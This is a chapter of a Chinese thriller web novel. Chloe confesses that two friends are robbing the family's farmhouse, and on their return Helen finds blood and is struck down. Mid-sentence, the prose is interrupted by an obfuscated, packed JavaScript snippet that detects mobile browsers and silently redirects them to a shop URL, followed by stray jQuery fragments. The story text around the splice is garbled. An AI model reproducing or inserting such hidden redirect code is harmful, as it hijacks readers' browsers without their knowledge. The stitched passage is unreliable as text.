克洛伊越来越焦虑，几乎每过几分钟就要朝街道看一眼。她没注意塞西尔在写什么，只以为塞西尔在和遥远城市的朋友们通信交流。
时间一分一秒地流逝，塞西尔再好的耐心此刻也终于告罄。他不耐地看了眼手表，时针已经指向数字九。
整整两个半小时！
塞西尔按捺不住怒火，低声质问道：“他们还不回来？两个半小时，是准备将整个农场搬空吗？”
克洛伊瞠目结舌，“你、你……”
“塞西尔？克洛伊？发生了什么事？你们在闹矛盾吗？”不知何时到来的海伦望着两个孩子，关切地询问。
劳伦斯跟在后面，他们是来找塞西尔的。
根据塞西尔的作息，平常这个时间点，塞西尔早就回卧室休息了，结果没想到等来等去一直不见塞西尔回来，他们担心塞西尔像昨天一样在外边睡着，这才找了来，没想到刚到就听到塞西尔在发脾气。
劳伦斯和海伦都知道塞西尔有多和善，因此对塞西尔刚才的表现也更加意外。
塞西尔本想私下解决，但没想到劳伦斯和海伦会找来，想了想，还是将自己的猜测道出。
劳伦斯和海伦面面相觑，不约而同地看向克洛伊。
“克洛伊，是这样吗？”海伦略显伤心地问道。
克洛伊咬了咬嘴唇，“对不起……鲍勃和雅克，是去了农场实施偷窃。他们昨天找到我，让我今天去农场和你们套近乎，搞清你们的行动轨迹，最好能想办法骗你们暂时离开农场……我很抱歉，骗了你们。”
劳伦斯不语。
海伦伤心不已，“好姑娘，你辜负了我们的信任。”
海伦打算报警。
对海伦而言，罗伯特和雅克在农场实施偷盗的行为是她所不能原谅的，但克洛伊却希望海伦不要这么做，恳求海伦一家能原谅鲍勃一次。
“海伦阿姨……不，海伦女士，求你了，请给鲍勃一次机会。”克洛伊恳切而可怜地祈求：“鲍勃他、他只是一时被金钱蒙蔽了双眼，雅克也只是一时糊涂，他家里情况不太好，需要钱……他们本性不坏的。
他们、他们还很年轻，如果被警察抓到会留下案底，成为整个小镇的笑话，所有人都会排斥他们的存在，这对他们而言太绝望了。
求您了，别报警，相信我，我会说服他们，将偷盗的物品如实归还。求您了，给他们一次改过自新的机会，就这一次！”
克洛伊请求海伦原谅的同时，劳伦斯和塞西尔并肩站在商店外的街道上。
听到身后的话语，塞西尔忍不住问：“爸爸，妈妈会原谅他们吗？”
“我想会的，你妈妈总是很心软。”劳伦斯耸耸肩，“做好准备吧，我们等会儿大概就要回农场了。”
“但是，爸爸，我有点儿担心。这里不是我们熟悉的地方。那两个小偷，还有克洛伊，都是小镇的镇民，我担心……”
劳伦斯从塞西尔未尽的话语中明白了塞西尔的担忧，他很庆幸塞西尔能根据周围环境预测危险，“别怕，还没到哪个地步……算了，在事态还没发生到那个地步前，我先去打个电话。希望这个小镇上的人足够善良，愿意借给我电话使用。”
劳伦斯离开后，塞西尔一个人站在街道旁。
身后，克洛伊不断乞求海伦的原谅。
塞西尔听得烦躁不已。
没过多久，劳伦斯回来了，一脸轻松，显然事情足够顺利。
“好了，我已经告知朋友我们一家的所在地，并且提醒他如果明天九点之前没有和他通话，就立刻来找我们。”
“一定要回农场吗？”塞西尔还是有些不甘，想劝说爸爸留在小镇上。
“必须要回去。”劳伦斯说：“尽管是出来休假，但爸爸的电脑还是带了过来，以防止公司出现紧急情况却联系不上我。电脑中备份了一些重要文件，虽然对于那两个小偷……呵，两个年轻的小偷而言或许不重要，但我担心他们破坏电脑硬盘导致文件销毁。”
塞西尔明白，劳伦斯解释这么多证明他非要回农场不可。
“或许……塞西尔，我在小镇上给你找间旅馆怎么样？等我和妈妈解决问题再来接你。”劳伦斯看着塞西尔苍白的脸和不情愿的表情，也有些心疼。
即便他一再向海伦强调塞西尔已经是成年人，不要再将塞西尔视作孩子，但身为父母，又怎么可能不心疼自己的孩子？尤其是塞西尔自小体弱，这让劳伦斯忍不住去想对塞西尔再好一点儿。
“别了，不够麻烦的。我和你们一起回农场。”
另一边，海伦果然被克洛伊说服，同意克洛伊的提议——如果克洛伊能说服皮埃尔两人将偷盗的东西归还，他们不会报警。
·
开车前往农场的路上沉闷而枯燥，四个人各怀心事，谁也没有讲话。
在农场附近，塞西尔发现一辆白色的老式皮卡，“那有辆车。”
“是鲍勃家的皮卡，我经常看见老皮埃尔叔叔开这辆车进货。我想鲍勃和雅克两人就是乘坐这辆车来的农场。”克洛伊低声解释。
劳伦斯下车查看，没发现什么异常。“车上没有人，车厢里也没有偷窃的财物，看来他们还在农舍。”
塞西尔斜眼看了克洛伊一眼，冷哼一声。
克洛伊忍不住心中抱怨。
这两人到底在搞什么？
白色轿车停在农舍庭院。
农舍中黑漆且寂静，看起来不像有人的状态。
劳伦斯怀疑是两个混蛋听到汽车引擎声故意躲藏起来，于是让克洛伊喊话，让两人立刻从农舍里滚出来。
“鲍勃！雅克！你们在吗？我把一切都跟洛朗先生一家讲明了，你们不要再继续下去了。洛朗先生一家同意，只要你们把偷盗的财物返还，他们就不会报警，你们快出来，不要一错再错。”
农舍内毫无动静。
“鲍勃！你这个混蛋，快出来！”
“雅克，你在哪？你妈妈不久前还问我你为什么这么晚还不回家！”
依旧无人回应。
“Fuck！你们两个混蛋，这么想坐牢吗？！”
月色下，农舍安静无声，除了虫子的鸣叫和克洛伊来回踱步的“沙沙”声，塞西尔听不到任何回声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756520|190073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他烦躁地揉着太阳穴，心理和生理上的双重疲劳令他感知迟钝，也错过了来自农舍二楼卧室的隐秘窥探。
克洛伊放弃了，“也许他们已经不在农舍了也说不定。鲍勃可能不回应，但雅克很看重他妈妈，不可能在我提到他妈妈的时候毫无反应。”
“进去看看吧。”劳伦斯拍板。
劳伦斯推了下门，农舍的门被轻而易举地打开。
“看来他们确实来过，走前海伦特意锁了门。”
“太黑了，劳伦斯，把灯打开。”
“好。”
片刻后。
“开关没反应，也许电闸跳了。我去看看，你们在客厅等我。”
“我去找鲍勃和雅克，也许他们还在，只是藏了起来。”
“妈妈，我去二楼看看。”
劳伦斯、克洛伊和塞西尔三人前后脚离开，海伦准备找找手电筒。
没有一个人注意到，农舍的门，无声地、缓慢地关闭了。
·
海伦站在客厅思考手电筒可能在的位置，昨晚她和劳伦斯曾在夜晚前往水晶湖寻找塞西尔，那时候刚好使用过手电筒。
如果没记错，她当时顺手将手电筒放在靠近卧室门的台式灯小桌上。
而此时，海伦的眼睛也已经适应了黑暗，足够她摸黑前行。
鞋底似乎踩上什么粘稠的液体，海伦怀疑那两个混蛋小偷恐怕是碰翻了蜂蜜罐。
Shit！蜂蜜很难清理！而且极易引来虫子！
海伦一想到虫蚁横行的场面就头皮发麻，心中臭骂两个不知轻重的混蛋。
等找到他们，她一定要让他们亲手将地面打扫干净！
手电筒……
手电筒……
在哪里来着？
海伦碰到一个金属物品，沁心的凉意顺着手指钻进心里，令她忍不住打了个寒颤。手指一时的痉挛，撞到圆柱状的金属制品上。
“砰。”
金属制品砸在地上，又“咕噜咕噜”滚了几圈。
海伦低咒一声，她已经意识到刚才碰到的物品就是手电筒。
好不容易找到，结果又掉了。
海伦蹲下身，在地上摸索起来。
地板上粘稠液体沾到手指上，海伦凑近鼻尖嗅了嗅，铁锈的腥味令她忍不住干呕。
什么味道啊？
忍着恶心，塞海伦继续在地面上摸索，手指终于探到熟悉的金属质感，海伦心中一喜。
找到了！
她将手电筒握在手中，黏在二者上的粘稠液体立刻混合到一起，滑腻腻的，令人忍不住头皮发麻。
在这诡异的触感中，海伦突然想到一个问题。
如果打翻的是蜂蜜罐，为什么传来的不是香甜气息？
而那种粘液般触感和令人作呕的铁锈味……不，与其说是铁锈味，不如说是……
海伦按亮手电筒，一片刺眼的红映入眼中。
“啊——”
“呃！”
凄惨的长啸被迫化作短促的哀鸣，海伦被击中后脑，一棍打晕。